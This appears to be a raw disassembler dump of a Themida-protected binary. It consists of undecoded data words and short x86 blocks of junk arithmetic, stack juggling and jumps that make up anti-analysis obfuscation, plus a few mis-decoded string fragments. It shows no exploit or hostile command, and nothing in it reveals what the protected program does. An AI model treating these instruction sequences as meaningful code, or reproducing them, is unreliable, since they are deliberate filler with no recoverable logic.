241C8900h, 5A4368h dd 2F75E900h, 85E90000h, 81FFFFCAh, 8833E2C3h, 3A72E933h dd 0FF590000h, 81582434h, 4C4h, 5AD02800h, 0B60FC330h dd 8734FFC0h, 0FFCA5FE9h, 716668FFh, 14890000h, 0E9E28924h dd 3DA5h, 50B0EB80h, 0C3004CB0h, 420AE9h, 0C6FE5B00h, 0E9E6C680h dd 63Eh, 1BDh, 729EE900h, 34FF0000h, 24048B24h, 62536851h dd 24890000h, 24048124h, 4, 4B85059h, 1000000h, 81E958C1h dd 5500004Fh, 881D6B68h, 0D5F75D26h, 38B6E9h, 243C3000h dd 24748653h, 0E9D6F601h, 65E7h ; --------------------------------------------------------------------------- loc_5493A8: ; CODE XREF: Themida_:005514F7j pop eax push ecx jmp loc_548084 ; --------------------------------------------------------------------------- db 53h dd 69368FBBh, 5BD8297Dh, 3502E8C1h, 11A52934h, 6AA6E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5493C6: ; CODE XREF: Themida_:0054F1E5j add edx, 75541AF7h sub esi, edx pop edx jmp loc_54C94E ; --------------------------------------------------------------------------- dd 0E924148Bh, 0FFFFCBD0h ; --------------------------------------------------------------------------- loc_5493DC: ; CODE XREF: Themida_:00547F3Ej mov ebx, 750257DDh and ebx, 5EF747EFh not ebx sub ebx, 5EA5A49Bh jmp loc_54E7AF ; --------------------------------------------------------------------------- loc_5493F4: ; CODE XREF: Themida_:0054BBDBj inc esi shl esi, 4 jmp loc_5520C5 ; --------------------------------------------------------------------------- db 81h, 0F3h, 2Eh dd 156D701h, 0F6815BDEh, 0E4366017h, 15EF701h, 29FFE9C7h dd 49410000h, 0FFDD38E9h db 0FFh ; --------------------------------------------------------------------------- loc_54941D: ; CODE XREF: Themida_:0054C606j mov [esp], esi push edi mov edi, 0FFFFh mov esi, edi push dword ptr [esp] mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], eax push esp pop eax jmp loc_5477C7 ; --------------------------------------------------------------------------- dd 0EF5C6705h, 3CCFE924h, 0FF660000h, 0E99C240Ch, 0FFFFC93Ch dd 0B753C828h, 6E7C09Fh, 0E0C780h, 83595BF8h, 2C8904ECh dd 0E9E58924h, 0FFFFE5A2h, 8924248Bh, 15E92404h, 0D2FFFFC9h dd 0E99C242Ch, 0FFFFC90Ch ; --------------------------------------------------------------------------- loc_549488: ; CODE XREF: Themida_:00547C7Ej mov edx, [esp] add esp, 4 xchg ebp, [esp] pop esp sub esp, 4 mov [esp], edx jmp loc_548EF4 ; --------------------------------------------------------------------------- db 5Ah dd 0EBA0F181h, 4CE9E547h, 0BEFFFFCFh, 4, 2308EB81h, 0F301635Dh dd 0E904EC83h, 5934h ; --------------------------------------------------------------------------- loc_5494C4: ; CODE XREF: Themida_:00548687j mov al, 6Ch or al, 59h push bx mov bl, 50h xor al, bl mov bx, [esp] push 7670h mov [esp], edi jmp loc_550C91 ; --------------------------------------------------------------------------- db 66h dd 66C5CEBBh, 6658C329h, 6605E3C1h, 5507E3C1h, 2EE2E9h dd 24148900h, 557A2ABAh, 0CD1B962h, 0D1316E6Ch, 8124148Bh dd 4C4h, 84FDE900h, 895C0000h, 0C2E92434h, 0FFFFFFD1h dd 7DE92434h, 5C00001Ah, 4AB0F66h, 65E99C24h, 0BEFFFFC8h dd 4, 348BF701h, 4C48124h, 83000000h, 1C8904ECh, 4BB24h dd 0DF010000h, 87F1E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_549552: ; CODE XREF: Themida_:00551A5Dj mov esi, [esp] jmp loc_55082E ; --------------------------------------------------------------------------- dw 5066h dd 0C73070B0h, 0FFD7B2E9h db 0FFh ; --------------------------------------------------------------------------- loc_549565: ; CODE XREF: Themida_:00545D97j push ebx mov ebx, esp add ebx, 4 sub ebx, 2 xchg ebx, [esp] pop esp mov [esp], bx push eax mov ah, 6Ch add ah, 0FFh sub ah, 0FFh jmp loc_54A6FB ; --------------------------------------------------------------------------- db 66h dd 66C8B60Fh, 8CE99C51h, 5000005Bh, 0C0761368h, 24048B51h dd 4C481h, 19050000h, 0E9AE3F8Ah, 16E2h, 74B616B1h, 0BEE9CE30h dd 66000047h, 9C241CF7h, 0FFC7D3E9h, 0C8B66FFh, 0E2895224h dd 0A70E9h, 73290D00h, 0FA0556E5h, 2D611975h, 70EB69E9h dd 8158C601h, 0C835A8EBh, 81F3010Eh, 0C835A8C3h, 1C335E0Eh dd 3585E924h, 0E0C10000h, 0FBBC2D05h, 0C781BF7Eh, 56542A80h dd 0EF81C701h, 56542A80h, 51F4E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549612: ; CODE XREF: Themida_:0054891Ej push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp push ebx jmp loc_5505BC ; --------------------------------------------------------------------------- dw 0C483h dd 2434FF04h, 592434FFh, 8304C483h, 21E904C4h, 0F7FFFFE3h dd 6DE94FD7h, 0BBFFFFDAh, 199A3ED5h, 4245C31h, 0BB53595Bh dd 369235B1h, 0FFCD45E9h, 0EE815FFFh, 420D4DE1h, 0E95EF089h dd 0FFFFE747h, 12Dh, 5D0F700h, 6D355A9Dh, 0FFCDB4E9h, 4C483FFh dd 6602EC83h, 0B5240C89h, 568EE948h, 0EE810000h, 6BA958C7h dd 0E92434FFh, 5933h, 348EEF81h, 0E7C156D3h, 0F1E78102h dd 81035958h, 10082CEFh, 5E96E902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5496AE: ; CODE XREF: Themida_:00548A44j mov edx, [esp] add esp, 4 sub edx, 0E6ECDC7Bh jmp loc_54A09C ; --------------------------------------------------------------------------- dw 0CD81h dd 2A23192Ah, 8104E5C1h, 719BACEDh, 5DEE01EFh, 8904EC83h dd 0B8502414h, 4D9F76DDh, 3AB0E9h, 2F47BF00h, 0E9506DC4h dd 0FFFFDEF8h, 535166ACh, 0C780F1B7h, 5BF98849h, 0C800AB04h dd 5966AB2Ch, 0D8280C04h, 0CB65266h, 7CF6E9h, 8BE80100h dd 0C481242Ch, 4, 42Dh, 24048700h, 243C895Ch, 0BE56E789h dd 4, 685EF701h, 455h, 21FBE9h, 33E95600h, 1FFFFCDh, 0E1E958C1h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54974B: ; CODE XREF: Themida_:0054EDCAj push dword ptr [esp] pop edx add esp, 4 push esi mov esi, 157570A2h shr esi, 5 jmp loc_54E104 ; --------------------------------------------------------------------------- aFp_0 db 'fP΄ΐ',0 dd 48B66E3h, 56E95624h, 0E9000014h, 0FFFFC61Ch ; --------------------------------------------------------------------------- loc_549778: ; CODE XREF: Themida_:0055005Dj sub eax, 2ACC076Ah sub eax, 0C8CF3200h jmp loc_54D28B ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0E9F03000h, 1D89h ; --------------------------------------------------------------------------- loc_549794: ; CODE XREF: Themida_:005512B1j mov ecx, 15DF026Fh add [esp+4], ecx pop ecx mov eax, [esp] add esp, 4 jmp loc_54A308 ; --------------------------------------------------------------------------- aIHo4 db '\$$h4',0 align 2 dw 489h dd 4B824h, 6C810000h, 1B770424h, 440176AEh, 44810424h dd 1B770424h, 0E95876AEh, 0FFFFC5C0h, 80B0C380h, 0C300B4C3h dd 0E9B4EB80h, 0FFFFFB60h ; --------------------------------------------------------------------------- loc_5497E4: ; CODE XREF: Themida_:0054B5BDj jmp loc_545D94 ; --------------------------------------------------------------------------- db 81h, 0C1h, 0EFh dd 811F2173h, 1E6098C1h, 0BEE98110h, 319A4D50h, 0C02D59CAh dd 0E91E0A4Dh, 6A68h, 0B08E953h, 0BD550000h, 4, 335DEE29h dd 34312434h, 1ACBE924h, 0C5810000h, 4, 6A84E9h, 5EF20100h dd 6804C283h, 6EF1h, 0FF241489h, 0FF042474h, 0E92434h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549847: ; CODE XREF: Themida_:0054F929j or edx, eax shl edx, 1 push eax mov eax, 69FD4351h add eax, 397656C3h sub eax, 0A3739A13h push ecx push eax push 3218167Bh pop eax sub eax, 50A42703h sub eax, 0E173EF54h push eax add dword ptr [esp], 7C1259Bh mov ecx, [esp] add esp, 4 sub ecx, 7C1259Bh pop eax add ecx, 68A1413Bh add ecx, edi push ebx mov ebx, 945420Bh jmp loc_54C0F0 ; --------------------------------------------------------------------------- dd 2C3E0D68h, 0E7815F11h, 6A5A7AE5h, 33C268h, 24148900h dd 13B85055h, 0E912C70Eh, 764Eh, 24048B66h, 81E38953h dd 4C3h, 4EB8100h, 87000000h, 8CE9241Ch, 0BD00000Dh, 3B5C0509h dd 51B468h, 243C8900h, 0C86B01BFh, 6CE78133h, 0F751647Fh dd 51EFD1DFh, 9827DEB9h, 0D1C0E920h, 0CA89FFFFh, 592434FFh dd 34156856h, 24890000h, 24048324h, 0E9575E04h, 0FFFFEE77h dd 32A1C681h, 0EE8126E9h, 6D521D6Fh, 81241C8Bh, 4C4h, 4C68300h dd 2474FF56h, 4DA5E904h, 0C7810000h, 4, 8704C783h, 875C243Ch dd 248B2434h, 150DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54994E: ; CODE XREF: Themida_:0054F45Bj push esp jmp loc_54AD01 ; --------------------------------------------------------------------------- dd 4C681h, 0BB530000h, 4, 5108E9h, 5756AD00h, 0A409E68h dd 8176E922h, 685C0000h, 24D6h, 0BE243489h, 7AB45CA9h dd 76E7E9h, 6D83BF00h, 0FB294E47h, 56F3295Fh, 0E9534EBEh dd 54D6E964h, 0F3000000h, 77E9505Ah db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5499A3: ; CODE XREF: Themida_:005511B3j add esp, 4 mov eax, [esp] add esp, 4 push ebx mov ebx, 476C4976h push 4358h mov [esp], esi mov esi, 4E27368Bh or ebx, esi jmp loc_5465D2 ; --------------------------------------------------------------------------- dd 372CB951h, 0C7E90AC7h, 1FFFFEBh, 24048BC7h, 5704C483h dd 42474FFh, 83243C8Bh, 48F04C4h, 24248B24h, 8B2434FFh dd 89502404h, 405E0h, 0CEE90000h, 5000007Bh, 0ECD0D6B4h dd 214E9h, 24348900h, 0FFF262E9h, 5FFE31FFh, 4A68EB81h dd 6EE9553Ch, 80000036h, 0F0005EF6h, 7E2C5A66h, 7E04F800h dd 805B592Ch, 0C38097EBh, 80C328E7h, 0EC83E7EBh, 24048904h dd 0B7B05053h, 0C788B704h, 3096B058h, 241C8BF8h, 0F604C483h dd 2CC0FED0h, 2CD8F682h, 7910E901h, 0B3530000h, 0C568E9A8h dd 0C383FFFFh, 52C9E904h, 2BF0000h, 1000000h, 0E9515FF9h dd 0FFFFF462h, 4C481h, 0D8300000h, 81241C8Bh, 4C4h, 478EE900h dd 0C0830000h, 24048704h, 761DE95Ch, 0E8BB0000h, 0E92AE458h dd 7FB2h, 766968h, 24348900h, 0E904EC83h, 1D80h, 89242C89h dd 5ABF68E5h, 14890000h, 81685124h, 59557034h, 0F4DCE981h dd 5A51FBA3h, 1EA8159h, 81000000h, 180CBAF2h, 1AEA811Ch dd 145D433h, 0BA525AD5h, 2, 2415ED81h, 0C5815A0Ah, 26044156h dd 0ED81D501h, 26044156h, 2415C581h, 0E1E95A0Ah, 8900006Ah dd 5BB241Ch, 14B9B23h, 0D1015BD9h, 2305E981h, 148B4B9Bh dd 0CFE95724h, 0B9000006h, 4, 0E959CD01h, 82D8h ; --------------------------------------------------------------------------- loc_549B40: ; CODE XREF: Themida_:0054D980j and eax, esi jmp loc_54ADC1 ; --------------------------------------------------------------------------- db 0F7h dd 94F381D3h, 81549152h, 0FC58FAEBh, 0E9D92106h, 7FEh ; --------------------------------------------------------------------------- loc_549B5C: ; CODE XREF: Themida_:00547520j push 7ADD51D2h jmp loc_54767E ; --------------------------------------------------------------------------- dw 0DAF7h dd 0F581D587h, 36DD097Ch, 0FD81ED81h, 4EE94B2Ch, 81000019h dd 2C0638C3h, 81D3014Dh, 2C0638EBh, 24148B4Dh, 4C481h dd 68510000h, 3707h, 0BE243489h, 49F6523h, 348BF189h, 4C48324h dd 3156E9h, 0C8B6600h, 50106824h, 34890000h, 74AC6824h dd 0B6E90000h, 81000020h, 4C6h, 74FF5600h, 8F5E0424h, 0C15C2404h dd 0C83118E8h, 297F68h, 24048900h, 0F7243C87h, 6EC568D7h dd 0F0E90000h, 5300000Fh, 0BBh, 0A4C38100h, 112EE5Eh, 0A4EB81C3h dd 8812EE5Eh, 8B585B0Bh, 0C481240Ch, 4, 0FFC17FE9h db 0FFh ; --------------------------------------------------------------------------- loc_549C15: ; CODE XREF: Themida_:005500F1j xchg esi, [esp] pop esp shr ecx, 7 jmp loc_54C67E ; --------------------------------------------------------------------------- db 0FEh, 0C4h, 80h aGs db 'μι)',0Ah,0 dw 5000h dd 0A252C068h, 0F750581Dh, 0ADE9241Ch, 8BFFFFE3h, 5457242Ch dd 4BB535Fh, 1000000h, 2434FFDFh, 4C4815Bh, 83000000h dd 3C3304C7h, 243C3124h, 5C243C33h, 4C581h, 0C5810000h dd 2, 2474FF55h, 48F5D04h, 35E95C24h, 89000074h, 0EB8159CDh dd 5790313h, 1A61E9h, 81C20100h, 3168EFEAh, 1A84E946h dd 4050000h, 0E9000000h, 0FFFFF110h, 0E924048Fh, 50DBh dd 81D831ADh, 4ECh, 24148900h, 0FFDD1BE9h, 0B7535BFFh dd 59EF80EFh, 805BFC08h, 0F480A3F4h, 312BE992h, 8B660000h dd 6A68240Ch, 8900003Bh, 0E0892404h, 405h, 3896E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549CE6: ; CODE XREF: Themida_:00546AD9j push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4FE06C52h add ecx, 1782059Bh xor ecx, 76944ADEh jmp loc_54DC07 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ecx, [esp] push edi jmp loc_550843 ; --------------------------------------------------------------------------- db 0BEh dd 19710491h, 41A968h, 24148900h, 0EC2896BAh, 2454011Eh dd 5BF4E908h, 69B80000h, 933B3C35h, 0C193D3F7h, 582507E8h dd 5750939h, 46036FADh, 0DB5C5D35h, 58C78900h, 4EC8350h dd 0E9242C89h, 5225h, 27EDE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549D6A: ; CODE XREF: Themida_:00547622j mov [esp], ebp mov ebp, 4 add ecx, 5FAA4B62h add ecx, ebp sub ecx, 5FAA4B62h pop ebp jmp loc_54D897 ; --------------------------------------------------------------------------- dw 0E981h dd 2, 2474FF51h, 65E95904h, 81000034h, 4ECh, 24148900h dd 0C281E289h, 4, 50DFE9h, 6E2C100h, 74B968h, 5725E900h dd 48D0000h, 58545087h, 0FFFED1E9h, 4CE8BDFFh, 0D5F75A2Bh dd 1BF8ED81h, 0C6E9073Fh, 50000057h, 0E168E089h, 8900004Eh dd 0B1BB241Ch, 0E921D615h, 13A2h, 8102EAC1h, 767D27EAh dd 0B3EA811Ah, 8107E209h, 608E6EEAh, 5AD501DFh, 0C83DE94Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549E0A: ; CODE XREF: Themida_:00551662j pop edi push ecx mov ecx, 5F1A69CAh and eax, ecx push dword ptr [esp] pop ecx add esp, 4 xor eax, 586B48D9h add eax, 0AA94D6A8h mov edx, eax pop eax loc_549E2A: ; CODE XREF: Themida_:00547D5Dj ; Themida_:00548312j push dword ptr [edi+24h] push 7672h mov [esp], ebx mov ebx, 7FC324EBh inc ebx sub ebx, 7249AA05h xor [esp+4], ebx jmp loc_54FF2F ; --------------------------------------------------------------------------- dw 8158h dd 2E6D5AC7h, 81D70122h, 2E6D5AEFh, 2434FF22h, 3BC8E95Ah dd 0C3830000h, 241C8704h, 8124248Bh, 4ECh, 62E0E900h, 2D580000h dd 13754AF7h, 168EE9h, 243C3300h, 6624248Bh, 9C2404FFh dd 0FFBF03E9h, 0DCBA52FFh, 8139B821h, 914FA4E2h, 30CA816Ch dd 81029C0Ah, 0A31910F2h, 0D2F74238h, 12AAC281h, 0D589123Fh dd 2553E9h, 65162D00h, 0D80172B5h, 0B5651605h, 0C3315B72h dd 7AAAE9h, 0E9EE3100h, 0FFFFCD2Ah, 4A81EE81h, 0F001669Fh dd 2C0835Eh, 31240433h, 4332404h, 24248B24h, 24048B66h dd 8904EC83h, 0E2892414h, 0F48DE956h, 0F65CFFFFh, 0B60F66F1h dd 8FE956CCh, 8100007Ah, 0B56F78CEh, 6B4EE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549F16: ; CODE XREF: Themida_:00550B42j push esp jmp loc_54AE38 ; --------------------------------------------------------------------------- loc_549F1C: ; CODE XREF: Themida_:0055161Cj dec bh neg bh shl bh, 5 jmp loc_550BD6 ; --------------------------------------------------------------------------- aS_7 db '\ι΅|',0 align 2 dw 8157h dd 4ECh, 24248900h, 0FFEBDAE9h, 5A2A05FFh, 9C051CD9h, 5B759373h dd 0C281C331h, 51BB3A80h, 153BE56h, 0EA815AE2h, 0DCB15F6h dd 0C281F201h, 0DCB15F6h, 7FAE9h db 0 ; --------------------------------------------------------------------------- loc_549F69: ; CODE XREF: Themida_:0055113Dj push 3B841E93h jmp loc_548E9C ; --------------------------------------------------------------------------- db 0FFh dd 0E9042474h, 0FD1h, 0C181E189h, 4, 4C181h, 0C870000h dd 24248B24h, 56E78957h, 2942E9h, 24343300h, 8B24248Bh dd 0E9532404h, 0FFFFCCB0h, 15EF101h, 0C28159CAh, 3F1B2F42h dd 5790E9h, 2834B100h, 2343E9CBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_549FC2: ; CODE XREF: Themida_:0054CD1Fj not ebx and ebx, 78D20794h add ebx, 0CA2C51F1h add edx, ebx jmp loc_5472B9 ; --------------------------------------------------------------------------- db 89h dd 0E389241Ch, 43F5E9h, 243C8B00h, 4C481h, 0C3810000h dd 18DB4CABh, 9DE930FFh, 0B2FFFFBDh, 5AD588F7h, 0E904EDC0h dd 6351h ; --------------------------------------------------------------------------- loc_54A004: ; CODE XREF: Themida_:0054E13Dj add dword ptr [esp], 346B4947h jmp loc_54E43B ; --------------------------------------------------------------------------- dd 0F71899BDh, 0F6A8E964h, 0E889FFFFh, 5D2434FFh, 81E78957h dd 4C7h, 4C78100h, 81000000h, 4ECh, 243C8900h, 1DC1E9h dd 67B85000h, 487CB04Dh, 89E9D0F7h, 81FFFFDEh, 5E4A6CE9h dd 41C98179h, 813F6B10h, 7BAEFDF1h, 2C8151E2h, 7F173B24h dd 24348B6Dh, 0E904C483h, 2692h, 4247C31h, 0F2815A5Fh dd 3D683851h, 0FFFDC9E9h, 815F54FFh, 4C7h, 2BD5500h, 29000000h dd 242C8BEFh, 0E904C483h, 3E20h ; --------------------------------------------------------------------------- loc_54A09C: ; CODE XREF: Themida_:005496BDj xor esi, edx pop edx and eax, esi mov esi, [esp] jmp loc_54B0CA ; --------------------------------------------------------------------------- dd offset dword_56EA68 align 2 dw 2489h dd 24048124h, 4, 0E92434FFh, 260Dh, 408AC681h, 0C601781Ah dd 408AEE81h, 0E958781Ah, 0FFFFC0DCh, 0E9242C89h, 5585h dd 8704C383h, 0E95C241Ch, 93Dh, 0CE888DB1h, 0E92434FFh dd 3B7Bh, 0BA525B54h, 307E6329h, 9CDBC281h, 0D301CF81h dd 4EC835Ah, 53240C89h, 1FABD55h, 0EB890298h, 112AE9h dd 2434FF00h, 2A51E9h, 4EC8100h, 0E9000000h, 0FFFFE2B2h dd 0DD004AB5h, 0E9DD285Bh, 419Ch, 0FDE9D000h, 66000019h dd 0E9240C8Bh, 3D84h, 5C240487h, 75B6E9h, 14875900h, 3EC0E924h dd 14870000h, 24248B24h, 0E924148Bh, 6CBBh, 24048B66h dd 8904EC83h, 88E9242Ch db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A177: ; CODE XREF: Themida_:00548E56j push ebp mov ebp, 396A1234h push eax push ebx mov ebx, 7B5161B4h mov eax, ebx pop ebx inc eax jmp loc_54630F ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 1DC1E9h db 0 ; --------------------------------------------------------------------------- loc_54A195: ; CODE XREF: Themida_:00546994j ; Themida_:0054ECCEj ... push dword ptr [esp] jmp loc_547603 ; --------------------------------------------------------------------------- db 55h, 5Eh, 5Dh dd 0E902E6C1h, 2AF6h ; --------------------------------------------------------------------------- loc_54A1A8: ; CODE XREF: Themida_:0054D22Fj sub cl, 44h inc cl dec cl shl cl, 6 jmp loc_54E1B2 ; --------------------------------------------------------------------------- db 54h dd 4C5815Dh, 83000000h, 0F1E904EDh, 0BA00002Ch, 1A8355F8h dd 0DB1B850h, 9EBB0779h, 314B1B0Ah, 24048BC3h, 4C481h dd 0D3010000h, 4F63E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A1EA: ; CODE XREF: Themida_:0054D2F0j add ebx, 0E8F93A98h jmp loc_54DD0E ; --------------------------------------------------------------------------- db 1, 0F7h, 0E9h dd 0FFFFEB20h, 5CDCE959h, 5F540000h, 4C781h, 0C7830000h dd 243C8704h, 0E924248Bh, 28C7h, 5C240487h, 54243C89h dd 644AE9h, 48F5C00h, 24248B24h, 2404D366h, 0BB5EE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A236: ; CODE XREF: Themida_:0054D906j pop eax sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_54C468 ; --------------------------------------------------------------------------- dw 0C0BEh dd 0E9772A4Fh, 0CB3h, 0BDE9D301h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A267: ; CODE XREF: Themida_:0054B0E1j pop edi jmp loc_5490B8 ; --------------------------------------------------------------------------- loc_54A26D: ; CODE XREF: Themida_:005502EDj mov ebx, 65564196h sub ebp, ebx pop ebx mov esi, [esp] add esp, 4 jmp loc_548A90 ; --------------------------------------------------------------------------- dd 0F0E7805Ah, 0E7C0C7FEh, 0B0506605h, 66C72877h, 8124048Bh dd 2C4h, 8BF80000h, 0C481241Ch, 4, 781FE952h, 0EC830000h dd 242C8904h, 915F8FBDh, 9FBA524Dh, 816E2363h, 4A0C39F2h dd 30BB534Bh, 3135B82Eh, 0D5015BDAh, 8324148Bh, 0C58104C4h dd 577C0E56h, 231DE9h, 4EC8100h, 89000000h, 0EC81242Ch dd 4, 0E9242489h, 0FFFFDD64h, 83241C8Bh, 515504C4h, 4B9h dd 0E9CD8900h, 6F09h ; --------------------------------------------------------------------------- loc_54A308: ; CODE XREF: Themida_:005497A4j sub esp, 4 mov [esp], ebx jmp loc_54C16E ; --------------------------------------------------------------------------- dw 8B3h dd 0DC28C6B4h, 0FFF998E9h, 0C8E95EFFh, 5E000000h, 6EDE681h dd 31E9396Ch, 0FFFFE5h, 5A572CD0h, 50BB6866h, 240C8966h dd 4EC81h, 14890000h, 99E95124h, 81FFFFFDh, 1B2E70C2h dd 50BE972h, 1C8B0000h, 4C48124h, 0C1000000h, 0F18107E1h dd 62D65126h, 7F4C181h, 0C829F4DBh, 24348B59h, 3104C483h dd 148B66C3h, 0ECFEE924h, 8B66FFFFh, 0EC812404h, 4, 89241C89h dd 0B6BE56E3h, 56424D47h, 0E9240CFFh, 0FFFFFF83h, 98468925h dd 0E9E0D106h, 7B20h, 4EC81h, 14890000h, 0E95CB224h, 0FFFFDDE4h dd 4BD55h, 0B2E90000h, 66000009h, 6671CF68h, 66241489h dd 78E99C50h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A3DB: ; CODE XREF: Themida_:0054E23Aj mov eax, 97B54300h xor edx, eax jmp loc_54AA16 ; --------------------------------------------------------------------------- db 31h dd 92E9243Ch, 81FFFFFAh, 516AB0C3h, 8AE95776h, 8BFFFFF5h dd 8957240Ch, 22BB53E7h, 8167FB13h, 3649A3EBh, 8DE38144h dd 81673725h, 0C158DFC3h, 18C38107h, 81D53AA6h, 79509FEFh dd 81DF0167h, 79509FC7h, 0EC835B67h, 684BE904h, 24890000h dd 24048124h, 4, 3E01E9h db 0 ; --------------------------------------------------------------------------- loc_54A445: ; CODE XREF: Themida_:0054683Cj add al, bl add al, 38h pop ebx push small 38D4h jmp loc_54D225 ; --------------------------------------------------------------------------- db 0BDh dd 56530D9Dh, 3226ED81h, 0E5C17D72h, 14BA5204h, 0E97FEA0Dh dd 0FFFFF980h, 575EF301h, 4BFh, 4EC38100h, 0E944BF40h dd 4036h, 0E95FF829h, 24Eh ; --------------------------------------------------------------------------- loc_54A488: ; CODE XREF: Themida_:00551526j add edi, 425B675Fh push 0 sub [esp], edi jmp loc_54DEF7 ; --------------------------------------------------------------------------- db 81h dd 0A284FAF6h, 8BF20144h, 0C4832434h, 4EC8304h, 0FF241489h dd 0FF042474h, 0CAE92434h, 5E00001Ch, 5508E9C1h, 206AF3BDh dd 5DE93161h, 352BF181h, 0E98116C7h, 77B67AC0h, 0F7CBF57h dd 0C7817AB3h, 4C064219h, 0BD7BC781h, 0F8015956h, 2DC8015Fh dd 20100F10h, 0B8BCE959h, 5E54FFFFh, 4C681h, 12E90000h dd 66FFFFCDh, 6624048Fh, 6618BB68h, 66243C89h, 660002BFh dd 66510468h, 0E9241C89h, 0FFFFBBDBh, 3936B5BDh, 5DE93128h dd 5D5CBE56h, 814639DDh, 9B1450F6h, 0A0E9466Eh, 21000008h dd 12D5BD8h, 0D000000h, 621C65A1h, 0FFFE57E9h, 4BEFFh dd 0B2680000h, 89000019h, 5E592434h, 8759CA01h, 248B2414h dd 83E1F724h, 3C8904ECh, 555F5424h, 0FFD9FEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A575: ; CODE XREF: Themida_:005472CEj add edx, 32F61A24h add eax, edx mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_54BF47 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 2C781h, 0FF570000h, 8B042474h, 0C481243Ch, 4, 0D10E9h dd 8EFC100h, 21DF781h, 0F7571D1Dh, 57E92414h, 0FF000029h dd 0BA523877h, 521D5DA9h, 4245401h, 0BE56595Ah, 521D5DA9h dd 4D6F6855h, 4890000h, 4BDAB824h, 8150460Ah, 4E3C2434h dd 815D3000h, 4E3CF5h, 0C1815830h, 104A6EC2h, 175EE9h db 0 ; --------------------------------------------------------------------------- loc_54A5FD: ; CODE XREF: Themida_:00547ECFj xchg ebx, [esp] pop esp xchg edx, ebx not edx xchg edx, ebx not ebx sub ebx, 64E1475Dh xor ebx, 1EF9323Ch not ebx xor ebx, 0EC74247Dh and eax, ebx push dword ptr [esp] pop ebx jmp loc_5469FB ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 4F93FABh or eax, 476847FDh sub eax, 47F97FFBh add ebp, eax pop eax push esi mov esi, 4 jmp loc_54FEF6 ; --------------------------------------------------------------------------- db 80h, 0F5h, 89h dd 0E959E800h, 0FFFFDF62h, 8B58E300h, 39E92414h, 5C000057h dd 54243489h, 0A5E9555Eh, 52FFFFF9h, 0A05047BAh, 2DF2815Dh dd 0F77FA204h, 54B1E9DAh, 0E9810000h, 4B2966EBh, 3656C181h dd 0C18161C5h, 1C494AF6h, 0DFE9575Fh, 89FFFFF3h, 0D2E9243Ch dd 8A000058h, 0E902247Ch, 5788h, 0E95FFD01h, 0C21h, 83242489h dd 5D042404h, 7B5EE9h, 6E766800h, 3C890000h, 6FE95024h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A6CB: ; CODE XREF: Themida_:0054FCA5j push edx mov edx, 45B0333Dh jmp loc_54F578 ; --------------------------------------------------------------------------- dw 0C801h aUss db 'Uι+',0 align 2 dw 0F380h dd 52CBFE30h, 0D3009FB2h, 1179E9h, 4EC8100h, 89000000h dd 23E92434h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A6FB: ; CODE XREF: Themida_:00549582j shr ah, 1 jmp loc_547F66 ; --------------------------------------------------------------------------- loc_54A702: ; CODE XREF: Themida_:00545FC0j push 1 mov ebp, [esp] jmp loc_54C6AE ; --------------------------------------------------------------------------- db 81h dd 9269DAEEh, 53C60179h, 9269DABBh, 5BDE0179h, 4EC81h dd 0C890000h, 0D7BB5324h, 4340891Eh, 310FE9h, 241C8900h dd 26240481h, 0E9385935h, 0FFFFE8D6h, 0BDE9C6FEh, 81000058h dd 4ECh, 0ED9FE900h, 0D66FFFFh, 2D660719h, 7CE9E35Ch, 5EFFFFEDh dd 294BF57h, 0D7F72321h, 8102E7C1h, 86661BC7h, 5FFA01C3h dd 0EA81C201h, 37025BC7h, 153EA81h, 0EC815AE2h, 4, 51243489h dd 7FC7BE56h, 0C68163D9h, 0EDE1BAB9h, 895EF189h, 0F22959CEh dd 72EE9h, 0E9C5FE00h, 0FFFFBFF4h, 4EC81h, 34890000h, 3F7BBE24h dd 0E68108ACh, 715F6D74h, 0CE81D6F7h, 668A1030h, 0F681DEF7h dd 42D45h, 0FFFC93E9h, 42DFFh, 4870000h, 24248B24h, 8B240489h dd 8956241Ch, 34B850E6h, 555ED066h, 2611E9h, 7E366800h dd 1C890000h, 3D685124h, 0E90B3D2Fh, 3702h, 7155B850h dd 0C2812231h, 493A3716h, 0A9E9C201h, 53FFFFCEh, 3362E9h dd 5D02900h, 6F73403Ah, 0E9D8295Ah, 0FFFFF709h, 6579E953h dd 34FF0000h, 240C8B24h, 4C481h, 0EC810000h, 4, 89241C89h dd 4C381E3h, 81000000h, 4ECh, 242C8900h, 0FFF62CE9h, 0D1295EFFh dd 1CD7E9h, 51F80100h, 65F1BA52h, 0D1895F32h, 3065E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A87E: ; CODE XREF: Themida_:005474CBj mov [esp], ebx push eax jmp loc_5514F1 ; 